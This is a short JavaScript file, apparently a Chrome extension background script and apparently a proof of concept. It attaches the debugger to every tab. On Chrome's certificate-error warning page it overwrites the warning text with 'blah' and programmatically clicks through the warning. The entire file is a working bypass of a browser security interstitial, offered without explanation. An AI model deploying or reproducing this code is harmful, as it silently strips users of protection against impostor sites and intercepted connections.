const CDP_VERSION = '1.3' /** * Try to attach to target * @param {number} tabId Tab ID * @return {Promise} Callback when finished */ function attachToTarget(tabId) { return new Promise(resolve => { chrome.debugger.attach({tabId}, CDP_VERSION, () => { if (chrome.runtime.lastError) { // Already attached or unattachable target, ignore error } else { console.debug(`Attached to tab #${tabId}`) } resolve() }) }) } /** * Evaluate code in target * @param {number} tabId Tab ID * @param {()=>void} fn Function to evaluate * @return {Promise} Callback when finished */ function evaluateInTarget(tabId, fn) { return new Promise(resolve => { chrome.debugger.sendCommand({tabId}, 'Runtime.evaluate', { expression: `(${fn.toString()})()` }, () => { if (chrome.runtime.lastError) { console.warn(`Failed to evaluate in tab #${tabId}`, chrome.runtime.lastError.message) } resolve() }) }) } // Attach to any tab as soon as it becomes attachable chrome.tabs.onUpdated.addListener(async (tabId) => { await attachToTarget(tabId) await evaluateInTarget(tabId, () => { // Execute payload only on interstitial pages if (document.location.href !== 'chrome-error://chromewebdata/') { return } // Give visual feedback const wrapper = document.querySelector('.interstitial-wrapper') const iter = document.createNodeIterator(wrapper, NodeFilter.SHOW_TEXT) let node while (node = iter.nextNode()) { if (node.textContent.trim() === '') continue node.textContent = 'blah '.repeat(~~(node.textContent.length / 5)) } // Bypass interstitial certificateErrorPageController.proceed() }) })